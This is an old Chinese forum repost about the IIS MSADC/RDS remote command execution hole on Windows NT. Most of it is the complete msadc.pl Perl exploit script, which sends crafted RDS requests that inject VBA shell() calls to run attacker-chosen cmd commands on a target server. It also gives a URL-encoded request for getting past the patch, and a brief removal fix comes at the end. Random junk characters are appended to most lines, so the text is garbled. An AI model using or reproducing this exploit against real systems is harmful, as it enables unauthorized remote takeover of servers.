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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 6n]fr9f  
F``$}]9KHD  
涉及程序: -LJbx<'  
Microsoft NT server "GEJ9_a[  
AqZ{x9g!  
描述: }+h/2D  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 ,OsFv}v7  
f ."bq43(  
详细: BK]bSj  
如果你没有时间读详细内容的话,就删除: ,`v)nwP  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 5e~\o}]  
有关的安全问题就没有了。 hn#i,XnY  
jxU1u"WU  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 v=EV5#A  
t&T0E.kh*X  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 (|I:d!>:U  
关于利用ODBC远程漏洞的描述,请参看: ~^cx a%  
eEePK~%c  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 4d#w}  
5:6as^i:b  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ` =g9Rg/<  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp w$WN` =  
1O>wXq7q  
这里不再论述。 %Sr/'7 K  
:p0|4g  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 3JVENn9  
{L5!_] 6  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset D0 Yl?LU3  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! swJ3_WhbdT  
D1o<:jOj  
&4Q(>"iL4  
#将下面这段保存为txt文件,然后: "perl -x 文件名" h@}KBK  
S C7Tp4  
#!perl D 's'LspQ  
# }CnqJ@>C5  
# MSADC/RDS 'usage' (aka exploit) script 8d|omqe~P  
# 3^AycwNBA  
# by rain.forest.puppy .}n,  
# g+;)?N*j  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me NWWag}  
# beta test and find errors! 20750G  
@RGVcfCG)  
use Socket; use Getopt::Std; M>W-lp^3  
getopts("e:vd:h:XR", \%args); .|[ZEXq  
v-M3/*  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; hbRDM'  
T\ZWKx*#  
if (!defined $args{h} && !defined $args{R}) { Rp$t;=SMD  
print qq~ N=FU>qbz  
Usage: msadc.pl -h <host> { -d <delay> -X -v } $Y.Z>I;  
-h <host> = host you want to scan (ip or domain) y^7;I-  
-d <seconds> = delay between calls, default 1 second T&Z%=L_Q  
-X = dump Index Server path table, if available bh9rsRb}O  
-v = verbose ],CJSA!5F  
-e = external dictionary file for step 5 iJ.P&T9  
q}gj.@Q"  
Or a -R will resume a command session 3Z=OUhn9  
rI34K~ P  
~; exit;} g&9E>wT  
#RAez:BI  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; H%N !;Jz=  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} zy\p,  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} "^E/N},%u5  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); vJ5`:4n"  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 3]xe7F'`  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } .2?tx OKh  
[<SM*fQ>t  
if (!defined $args{R}){ $ret = &has_msadc; G{$(t\>8  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} P \<dy?nZ  
fFP>$  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Trd/\tX#v&  
. "cmd /c "; [U+6Tj,  
$in=<STDIN>; chomp $in; o=i)s2   
$command="cmd /c " . $in ; 6&/H XqP  
cx%[hM09  
if (defined $args{R}) {&load; exit;} lF-;h{   
i!8 o(!I  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; *zoAD|0N  
&try_btcustmr; )zw}+z3st  
$nN`K*%  
print "\nStep 2: Trying to make our own DSN..."; = 7U^pT  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ?"MJ'u  
`L<f15][  
print "\nStep 3: Trying known DSNs..."; wI'8B{[  
&known_dsn; &_X6m0z  
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print "\nStep 4: Trying known .mdbs..."; ^]mwL)I}  
&known_mdb; K"'W4bO#7  
 V[D[MZ  
if (defined $args{e}){ jU')8m[  
print "\nStep 5: Trying dictionary of DSN names..."; 6GVj13Nr  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } p x;X}Cd  
w)I!q&`Y  
print "Sorry Charley...maybe next time?\n"; d"zbY\`  
exit; :x e/7-  
@91Q=S  
############################################################################## ,a_F[uK  
#fg RF  
sub sendraw { # ripped and modded from whisker C6Qnn@waYb  
sleep($delay); # it's a DoS on the server! At least on mine... R_4]6{Rm  
my ($pstr)=@_; J/(3: a>  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || u@d`$]/>F  
die("Socket problems\n"); S-^y;#=  
if(connect(S,pack "SnA4x8",2,80,$target)){ RB1c!h$u  
select(S); $|=1; K{[ySB  
print $pstr; my @in=<S>; oQJK}9QR  
select(STDOUT); close(S); J;+A G^U<  
return @in; W-mi1l^H{  
} else { die("Can't connect...\n"); }} a&YD4DQ05  
$q#|B3N%  
############################################################################## zRyZrt,%&  
#BK\cIr  
sub make_header { # make the HTTP request r1:S8RT;H5  
my $msadc=<<EOT 9:0JWW^so  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 `X?l`H;#  
User-Agent: ACTIVEDATA x9r5 ;5TI  
Host: $ip @]lKQZ^2&  
Content-Length: $clen N*JWd  
Connection: Keep-Alive [.tqgU  
<Q)6N!Tp^  
ADCClientVersion:01.06 pE >~F  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Q7]:vs)%  
eN]0]9JO  
--!ADM!ROX!YOUR!WORLD! Qg  
Content-Type: application/x-varg GIQ/gM?Pv  
Content-Length: $reqlen Q1V4bmM  
=g' 7 xA  
EOT \2i4]V  
; $msadc=~s/\n/\r\n/g; G`E%uyjG$j  
return $msadc;} .(Q3M0.D  
7 ]a6dMh  
############################################################################## "^~f.N  
]t_AXKd  
sub make_req { # make the RDS request Nb\4Mv`  
my ($switch, $p1, $p2)=@_; `.nkC_d  
my $req=""; my $t1, $t2, $query, $dsn; p"ht|x  
SF KW"cP  
if ($switch==1){ # this is the btcustmr.mdb query sAS\-c'6  
$query="Select * from Customers where City=" . make_shell(); k{Yj!C> #  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . l i}4d+  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} hfP}+on%  
VkFTIyt  
elsif ($switch==2){ # this is general make table query q.i@Lvu#  
$query="create table AZZ (B int, C varchar(10))"; I"*g-ji0  
$dsn="$p1";} ?m#X";^V  
H?ssV^k  
elsif ($switch==3){ # this is general exploit table query q{Hk27kt  
$query="select * from AZZ where C=" . make_shell(); 2Xk(3J!!'a  
$dsn="$p1";} mzTF2K  
8m1 @l$  
elsif ($switch==4){ # attempt to hork file info from index server ^dH#n~Wx0  
$query="select path from scope()"; 2H fP$.  
$dsn="Provider=MSIDXS;";} Y>Q9?>}Q  
<||F$t  
elsif ($switch==5){ # bad query a9Lf_/w{&  
$query="select"; iyrUY  
$dsn="$p1";} i>r4Rz!  
ya{vR* '~  
$t1= make_unicode($query); ?qYw9XQYL  
$t2= make_unicode($dsn); b")&"o)G2W  
$req = "\x02\x00\x03\x00"; h>$,97EU  
$req.= "\x08\x00" . pack ("S1", length($t1)); Qpiv,n  
$req.= "\x00\x00" . $t1 ; ~}w(YQy=y  
$req.= "\x08\x00" . pack ("S1", length($t2)); wA) NB  
$req.= "\x00\x00" . $t2 ; [ivz/r(Rj  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; A_T-]YQ  
return $req;} g1muT.W]S  
cH'*J/  
############################################################################## 4fw>(d(2  
PTIC2  
sub make_shell { # this makes the shell() statement }qT @.  
return "'|shell(\"$command\")|'";} U2/H,D  
3SVI|A5(d  
############################################################################## 1F-o3\  
6 +^V  
sub make_unicode { # quick little function to convert to unicode z|F>+6l"Y7  
my ($in)=@_; my $out; %~J90a  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } +cM;d4  
return $out;} \`jFy[(Pa'  
D}vgXzD  
############################################################################## +|r;t  
r ^_8y8&l  
sub rdo_success { # checks for RDO return success (this is kludge) rw8O<No4.o  
my (@in) = @_; my $base=content_start(@in); :aLShxKA  
if($in[$base]=~/multipart\/mixed/){ Hx2UDHF  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ;#78`x2  
return 0;} ;gy_Qf2U  
-aLBj?N c[  
############################################################################## r-'\<d(J$  
>pO[ S[  
sub make_dsn { # this makes a DSN for us ~xGWL%og  
my @drives=("c","d","e","f"); WW0N"m'  
print "\nMaking DSN: "; Run)E*sf  
foreach $drive (@drives) { `hM`bcS  
print "$drive: "; !;pmql  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . p*_g0_^  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" *'`ByS  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); d"Y9go"Z  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 'SY jEhvw  
return 0 if $2 eq "404"; # not found/doesn't exist 8<0H(lj7_  
if($2 eq "200") { UY*Hc  
foreach $line (@results) { &qz&@!`  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} eT[ ,k[#q  
} return 0;} {a `kPfP  
I|m fr{  
############################################################################## yx3M0Qo  
3%{XJV   
sub verify_exists { @]6)j&  
my ($page)=@_; ETV|;>v  
my @results=sendraw("GET $page HTTP/1.0\n\n"); H&[CSc  
return $results[0];} W>K2d  
Ooc,R(  
############################################################################## K7M7T5<  
Tcz67&c |W  
sub try_btcustmr { '1~mnmiP  
my @drives=("c","d","e","f"); }EE  
my @dirs=("winnt","winnt35","winnt351","win","windows"); m=z-}T5y!T  
!lm^(SSv  
foreach $dir (@dirs) { 7`6n]4e  
print "$dir -> "; # fun status so you can see progress ^(V!vI*  
foreach $drive (@drives) { l@q.4hT  
print "$drive: "; # ditto \s`'3y  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; KNC!T@O|{#  
$reqlenlen=length( "$reqlen" ); *ls}r5k2Y  
$clen= 206 + $reqlenlen + $reqlen; %g5weiFM  
yi"V'Us  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); qXt2m  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 2[[ pd&MJZ  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} _T6WA&;8  
WfhQi;r  
############################################################################## RxAWX?9Z  
IxYuJpi  
sub odbc_error { ` R!0uRu  
my (@in)=@_; my $base; #PVgx9T=_  
my $base = content_start(@in); R/~j <.s3P  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this nFzhj%Pt;  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ZUQ1\Iw  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; n/p M[gI  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Kk!D|NKLC  
return $in[$base+4].$in[$base+5].$in[$base+6];} uWG'AmK_#E  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 1e'-rm F  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ym2\o_^(  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} pHsp]a  
j08 G-_Gjn  
############################################################################## =NSLx2:T  
Xleoh2&M  
sub verbose { TA`*]*O(  
my ($in)=@_; b?CmKiM%  
return if !$verbose; CP7Zin1S/w  
print STDOUT "\n$in\n";} xRv1zHZ  
?T$i  
############################################################################## ti`z:8n7  
\$VtwVQ,b  
sub save { &Km?(%?  
my ($p1, $p2, $p3, $p4)=@_; er+m:XuV  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; TcpD*%wW  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 9gn_\!Mp  
close OUT;} 2OAh7'8<  
Mn7 y@/1  
############################################################################## z/F(z*'v  
)UI T'*ow  
sub load { y:iE'SRRK6  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; M7eO5  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); kzLj1Ix2  
@p=<IN>; close(IN); w/d9S(  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); $*xnq%A  
$target= inet_aton($ip) || die("inet_aton problems"); w{F8]N>0<  
print "Resuming to $ip ..."; @-kzSm  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; }&y>g0$@  
if($p[1]==1) { =XQ3sk6U  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; !g=,O6  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; b\U Q6 V  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); H3QAIsGS  
if (rdo_success(@results)){print "Success!\n";} VXn]*Mo  
else { print "failed\n"; verbose(odbc_error(@results));}} x\3 ` W  
elsif ($p[1]==3){ 1^}() H62}  
if(run_query("$p[3]")){ nl*{@R.q @  
print "Success!\n";} else { print "failed\n"; }} WB6g i2  
elsif ($p[1]==4){ qq[2h~6P]  
if(run_query($drvst . "$p[3]")){ ~bigaY  
print "Success!\n"; } else { print "failed\n"; }} #c+N}eX{  
exit;}  O7s0M?4  
U[U$1LSS  
############################################################################## &^ =t%A%#  
tI*u"%#t  
sub create_table { 'bY^=9&|  
my ($in)=@_; 1^!= J<`K;  
$reqlen=length( make_req(2,$in,"") ) - 28; `r_qvrC  
$reqlenlen=length( "$reqlen" ); _? 1<  
$clen= 206 + $reqlenlen + $reqlen; =bN[TD  
my @results=sendraw(make_header() . make_req(2,$in,"")); BB--UM{7  
return 1 if rdo_success(@results); M`BD]{tN}  
my $temp= odbc_error(@results); verbose($temp); ^=OjsN  
return 1 if $temp=~/Table 'AZZ' already exists/; r5lp<md  
return 0;} aNn< NW  
[ueT]%  
############################################################################## 2?Q IK3"v  
Bwb3@vNA  
sub known_dsn { y"e'Gg2  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go T-fW[][&$  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", n@T4z.*~lA  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", fhMtnh:  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); hS*3yCE"8  
hrU.QF8  
foreach $dSn (@dsns) { i&mu=J[  
print "."; pA(@gisg  
next if (!is_access("DSN=$dSn")); N(t1?R/e,  
if(create_table("DSN=$dSn")){ vq(@B  
print "$dSn successful\n"; c#u-E6  
if(run_query("DSN=$dSn")){ eW\7X%I  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { xzW]D0o0  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 72~)bu  
ws?p2$Cla  
############################################################################## |;OM,U2  
.Ks&r  
sub is_access { 3<m"z9$  
my ($in)=@_; ~`T(mh',  
$reqlen=length( make_req(5,$in,"") ) - 28; ofcoNLX5c  
$reqlenlen=length( "$reqlen" ); D'Byl,W$   
$clen= 206 + $reqlenlen + $reqlen; d?b2jZ$r]  
my @results=sendraw(make_header() . make_req(5,$in,""));  PovPO  
my $temp= odbc_error(@results); q/70fR7{v  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); i @+Cr7K,  
return 0;} dfc-#I p?  
+r4US or  
############################################################################## 78dmXOZ'_h  
~u,g5  
sub run_query { xx!o]D-}  
my ($in)=@_; 1ww|km  
$reqlen=length( make_req(3,$in,"") ) - 28; kl3#&>e  
$reqlenlen=length( "$reqlen" ); s) V7$D  
$clen= 206 + $reqlenlen + $reqlen; V)!Oss;i  
my @results=sendraw(make_header() . make_req(3,$in,"")); CM9+h;Zm  
return 1 if rdo_success(@results); u"X8(\pOn  
my $temp= odbc_error(@results); verbose($temp); "o;l8$)VL  
return 0;} ;X|;/@@  
Q}\,7l  
############################################################################## _f^q!tP&d  
*=^_K`y  
sub known_mdb { w V2 7  
my @drives=("c","d","e","f","g"); C(e!cOG  
my @dirs=("winnt","winnt35","winnt351","win","windows"); <C# s0UX  
my $dir, $drive, $mdb; MSRIG-  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 2r PKZ|  
tQo"$ JN}  
# this is sparse, because I don't know of many @_N -> l  
my @sysmdbs=( "\\catroot\\icatalog.mdb", hl6al:Y  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", KGP2,U6  
"\\system32\\certmdb.mdb", ax>en]rNP  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% -aKk#fd  
*Vv ;NA/  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", )bPNL$O  
"\\cfusion\\cfapps\\forums\\forums_.mdb", R;I}#b cJ  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", O=c&  
"\\cfusion\\cfapps\\security\\realm_.mdb", 6K?+adKlc  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", n$#^gzU4  
"\\cfusion\\database\\cfexamples.mdb", ``aoLQc`  
"\\cfusion\\database\\cfsnippets.mdb", cf0em!  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", =jg!@H=_i  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", YwB 5Zqr  
"\\cfusion\\brighttiger\\database\\cleam.mdb", E%H,Hk^  
"\\cfusion\\database\\smpolicy.mdb", Z U f<s?  
"\\cfusion\\database\cypress.mdb", bsqoR8  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 6kIq6rWF9  
"\\website\\cgi-win\\dbsample.mdb", D=9x/ ) *G  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Pvbw>k;  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" e|+uLbN&;c  
); #these are just r'xa' 6&  
foreach $drive (@drives) { Z;WqKIM#  
foreach $dir (@dirs){ Y*w< ~m  
foreach $mdb (@sysmdbs) { LoBKR c2t  
print "."; 2eyvY|:Q>  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ q'  _  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; :4(7W[r6  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ !B-&I E?  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; *2;w;(-s  
} else { print "Something's borked. Use verbose next time\n"; }}}}} <@;eN&  
W=F?+Kg L  
foreach $drive (@drives) { #i)h0ML/e  
foreach $mdb (@mdbs) { l9P~,Ec4''  
print "."; ;YK^&!N  
if(create_table($drv . $drive . $dir . $mdb)){ IXd&$h]Lq  
print "\n" . $drive . $dir . $mdb . " successful\n"; ^z0[{1  
if(run_query($drv . $drive . $dir . $mdb)){ ] +Gi~  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; g*Cs /w  
} else { print "Something's borked. Use verbose next time\n"; }}}} { " $2  
} 9H.E15B  
k`\DC\0RG  
############################################################################## LR9dQ=fHS  
[Hn+r &  
sub hork_idx { {yspNyOx  
print "\nAttempting to dump Index Server tables...\n"; OaU$ [Z'8  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; D5AKOM!`  
$reqlen=length( make_req(4,"","") ) - 28; hQ<"  
$reqlenlen=length( "$reqlen" ); v]_{oj_(-  
$clen= 206 + $reqlenlen + $reqlen; !t;$n!7<  
my @results=sendraw2(make_header() . make_req(4,"","")); (qB$I\  
if (rdo_success(@results)){ 7cvbYP\<lv  
my $max=@results; my $c; my %d; 7 F+w o  
for($c=19; $c<$max; $c++){ H6'xXS  
$results[$c]=~s/\x00//g; LX*T<|c`'  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; nX?fj<oR|  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; ~!)_3o  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; }>)"!p;t_  
$d{"$1$2"}="";} /!7m@P|&D  
foreach $c (keys %d){ print "$c\n"; } VQqEsnkz  
} else {print "Index server doesn't seem to be installed.\n"; }} (M5=8g%>d  
9"MC<  
############################################################################## :Q&8DC#]  
lza'l  
sub dsn_dict { 'lIT7MK  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); CE*@CkC0z  
while(<IN>){ (Ptv#LSUX  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 5^P)='0*  
next if (!is_access("DSN=$dSn")); Fz>J7(Y.j  
if(create_table("DSN=$dSn")){ gX6'!}G8]  
print "$dSn successful\n"; Lxd*W2$3_  
if(run_query("DSN=$dSn")){ Kw-E%7gh4c  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { cB?HMLbG>  
print "Something's borked. Use verbose next time\n";}}} Y Xn)?  
print "\n"; close(IN);} SjG=H%  
? )0U!)tK  
############################################################################## O '$:wc#  
CS6,mX  
sub sendraw2 { # ripped and modded from whisker Hyq| %\A  
sleep($delay); # it's a DoS on the server! At least on mine... :K2N7?shA  
my ($pstr)=@_; roL~r`f`  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || M}M.  
die("Socket problems\n"); *"1]NAz+  
if(connect(S,pack "SnA4x8",2,80,$target)){ \zgRzO'N  
print "Connected. Getting data"; 52-^HV  
open(OUT,">raw.out"); my @in; yrkd#m  
select(S); $|=1; print $pstr; O!/J2SfuDH  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} >JC.qjA  
close(OUT); select(STDOUT); close(S); return @in; {kW!|h&'  
} else { die("Can't connect...\n"); }} WWq)Cw R  
w*Kw#m'U  
############################################################################## pm<<!`w"  
\]y$[\F>  
sub content_start { # this will take in the server headers oPre$YT}h  
my (@in)=@_; my $c; sV3/8W13  
for ($c=1;$c<500;$c++) { 1Pn!{ bU3@  
if($in[$c] =~/^\x0d\x0a/){ i,* DWD+  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } V^?+|8_(  
else { return $c+1; }}} B.{0,b W?  
return -1;} # it should never get here actually p3sz32RX  
% J+'7'g  
############################################################################## /mqEc9sq,  
-41L^Di\  
sub funky { 51&wH  
my (@in)=@_; my $error=odbc_error(@in); rQ~%SUM7  
if($error=~/ADO could not find the specified provider/){ V3F2Z_VH2  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 0/-[k  
exit;} Xo]FOJ 5  
if($error=~/A Handler is required/){ a=C?fh  
print "\nServer has custom handler filters (they most likely are patched)\n"; S }fIZ1  
exit;} c3K(mM:  
if($error=~/specified Handler has denied Access/){ @R`OAd y  
print "\nServer has custom handler filters (they most likely are patched)\n"; RZDZ3W(;h  
exit;}} o7hjx hmC  
>Q"eaJxE!l  
############################################################################## Qv']*C[!z  
{e>}.R  
sub has_msadc { Pm" ,7  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); _gw~A {O  
my $base=content_start(@results); W;Fcp  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Av+R~&h  
return 0;} VI37  
2/(gf[elX  
######################## U_oMR$/Z  
]6 }|X#_  
qRB&R$  
解决方案: vgsu~(L;  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 5b|_?Em7  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 Z`< +8e  
H6e ^" E  
拿出来充数 哈哈
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